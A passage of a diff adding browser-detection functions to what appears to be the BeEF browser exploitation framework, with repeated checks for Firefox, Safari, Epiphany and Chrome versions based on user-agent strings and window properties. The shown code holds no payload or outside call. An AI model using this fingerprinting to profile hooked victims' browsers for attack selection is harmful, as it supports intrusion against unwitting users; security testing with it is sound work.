+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
+    },
+
+    /**
+     * Returns true if FF.
+     * @example: beef.browser.isFF()
+     */
+    isFF: function () {
+        return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
+    },
+
+    /**
+     * Returns true if Safari 4.xx
+     * @example: beef.browser.isS4()
+     */
+    isS4: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 5.xx
+     * @example: beef.browser.isS5()
+     */
+    isS5: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 6.xx
+     * @example: beef.browser.isS6()
+     */
+    isS6: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 7.xx
+     * @example: beef.browser.isS7()
+     */
+    isS7: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 8.xx
+     * @example: beef.browser.isS8()
+     */
+    isS8: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari.
+     * @example: beef.browser.isS()
+     */
+    isS: function () {
+        return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
+    },
+
+    /**
+     * Returns true if Webkit based
+     */
+
+
+    isWebKitBased: function () {
+        /*
+        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
+        */
+        return (!window.opera && !window.chrome
+                && window.navigator.userAgent.match(/ Version\/\d/) != null
+                && !window.globalStorage
+                && !!window.getComputedStyle
+                && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Return true if Epiphany
+     * @example: beef.browser.isEpi()
+     */
+    isEpi: function () {
+        // Epiphany is based on webkit
+        // due to the uncertainty of webkit version vs Epiphany versions tracking.
+        // -- do webkit based checking (i.e. do safari checks)
+        return this.isWebKitBased() &&  window.navigator.userAgent.match(/Epiphany\//) != null;
+    },
+
+
+    /**
+     * Returns true if Chrome 5.
+     * @example: beef.browser.isC5()
+     */
+    isC5: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 6.
+     * @example: beef.browser.isC6()
+     */
+    isC6: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 7.
+     * @example: beef.browser.isC7()
+     */
+    isC7: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 8.
+     * @example: beef.browser.isC8()
+     */
+    isC8: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 9.
+     * @example: beef.browser.isC9()
+     */
+    isC9: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 10.
+     * @example: beef.browser.isC10()
+     */
+    isC10: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 11.
+     * @example: beef.browser.isC11()
+     */
+    isC11: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 12.
+     * @example: beef.browser.isC12()
+     */
+    isC12: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 13.
+     * @example: beef.browser.isC13()
+     */
+    isC13: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 14.
+     * @example: beef.browser.isC14()
+     */
+    isC14: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 15.
+     * @example: beef.browser.isC15()
+     */
+    isC15: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 16.
+     * @example: beef.browser.isC16()
+     */
+    isC16: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 17.
+     * @example: beef.browser.isC17()
+     */
+    isC17: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 18.
+     * @example: beef.browser.isC18()
+     */
+    isC18: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 19.
+     * @example: beef.browser.isC19()
+     */
+    isC19: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 19.
+     * @example: beef.browser.isC19iOS()
+     */
+    isC19iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 20.
+     * @example: beef.browser.isC20()
+     */
+    isC20: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 20.
+     * @example: beef.browser.isC20iOS()
+     */
+    isC20iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 21.
+     * @example: beef.browser.isC21()
+     */
+    isC21: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 21.
+     * @example: beef.browser.isC21iOS()
+     */
+    isC21iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 22.
+     * @example: beef.browser.isC22()
+     */
+    isC22: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 22.
+     * @example: beef.browser.isC22iOS()
+     */
+    isC22iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 23.
+     * @example: beef.browser.isC23()
+     */
+    isC23: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 23.
+     * @example: beef.browser.isC23iOS()
+     */
+    isC23iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 24.
+     * @example: beef.browser.isC24()
+     */
+    isC24: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 24.
+     * @example: beef.browser.isC24iOS()
+     */
+    isC24iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 25.
+     * @example: beef.browser.isC25()
+     */
+    isC25: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 25.
+     * @example: beef.browser.isC25iOS()
+     */
+    isC25iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 26.
+     * @example: beef.browser.isC26()
+     */
+    isC26: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 26.
+     * @example: beef.browser.isC26iOS()
+     */
+    isC26iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 27.
+     * @example: beef.browser.isC27()
+     */
+    isC27: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 27.
+     * @example: beef.browser.isC27iOS()
+     */
+    isC27iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 28.
+     * @example: beef.browser.isC28()
+     */
+    isC28: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 28.
+     * @example: beef.browser.isC28iOS()
+     */
+    isC28iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 29.
+     * @example: beef.browser.isC29()
+     */
+    isC29: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 29.
+     * @example: beef.browser.isC29iOS()
+     */
+    isC29iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 30.
+     * @example: beef.browser.isC30()
+     */
+    isC30: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 30.
+     * @example: beef.browser.isC30iOS()
+     */
+    isC30iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 31.
+     * @example: beef.browser.isC31()
+     */
+    isC31: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 31.
+     * @example: beef.browser.isC31iOS()
+     */
+    isC31iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 32.
+     * @example: beef.browser.isC32()
+     */
+    isC32: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 32.
+     * @example: beef.browser.isC32iOS()
+     */
+    isC32iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 33.
+     * @example: beef.browser.isC33()
+     */
+    isC33: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 33.
+     * @example: beef.browser.isC33iOS()
+     */
+    isC33iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 34.
+     * @example: beef.browser.isC34()
+     */
+    isC34: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 34.
+     * @example: beef.browser.isC34iOS()
+     */
+    isC34iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 35.
+     * @example: beef.browser.isC35()
+     */
+    isC35: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 35.
+     * @example: beef.browser.isC35iOS()
+     */
+    isC35iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 36.
+     * @example: beef.browser.isC36()
+     */
+    isC36: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 36.
+     * @example: beef.browser.isC36iOS()
+     */
+    isC36iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 37.
+     * @example: beef.browser.isC37()
+     */
+    isC37: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 37.
+     * @example: beef.browser.isC37iOS()
+     */
+    isC37iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 38.
+     * @example: beef.browser.isC38()
+     */
+    isC38: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 38.
+     * @example: beef.browser.isC38iOS()
+     */
+    isC38iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 39.
+     * @example: beef.browser.isC39()
+     */
+    isC39: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 39.
+     * @example: beef.browser.isC39iOS()
+     */
+    isC39iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 40.
+     * @example: beef.browser.isC40()
+     */
+    isC40: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 40.
+     * @example: beef.browser.isC40iOS()
+     */
+    isC40iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 41.
+     * @example: beef.browser.isC41()
+     */
+    isC41: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 41.
+     * @example: beef.browser.isC41iOS()
+     */
+    isC41iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 42.
+     * @example: beef.browser.isC42()
+     */
+    isC42: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 42.
+     * @example: beef.browser.isC42iOS()
+     */
+    isC42iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 43.
+     * @example: beef.browser.isC43()
+     */
+    isC43: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 43.
+     * @example: beef.browser.isC43iOS()
+     */
+    isC43iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 44.
+     * @example: beef.browser.isC44()
+     */
+    isC44: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 44.
+     * @example: beef.browser.isC44iOS()
+     */
+    isC44iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 45.
+     * @example: beef.browser.isC45()
+     */
+    isC45: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 45.
+     * @example: beef.browser.isC45iOS()
+     */
+    isC45iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 46.
+     * @example: beef.browser.isC46()
+     */
+    isC46: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 46.
+     * @example: beef.browser.isC46iOS()
+     */
+    isC46iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 47.
+     * @example: beef.browser.isC47()
+     */
+    isC47: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 47.
+     * @example: beef.browser.isC47iOS()
+     */
+    isC47iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 48.
+     * @example: beef.browser.isC48()
+     */
+    isC48: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 48.
+     * @example: beef.browser.isC48iOS()
+     */
+    isC48iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 49.
+     * @example: beef.browser.isC49()
+     */
+    isC49: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 49.
+     * @example: beef.browser.isC49iOS()
+     */
+    isC49iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 50.
+     * @example: beef.browser.isC50()
+     */
+    isC50: function () {
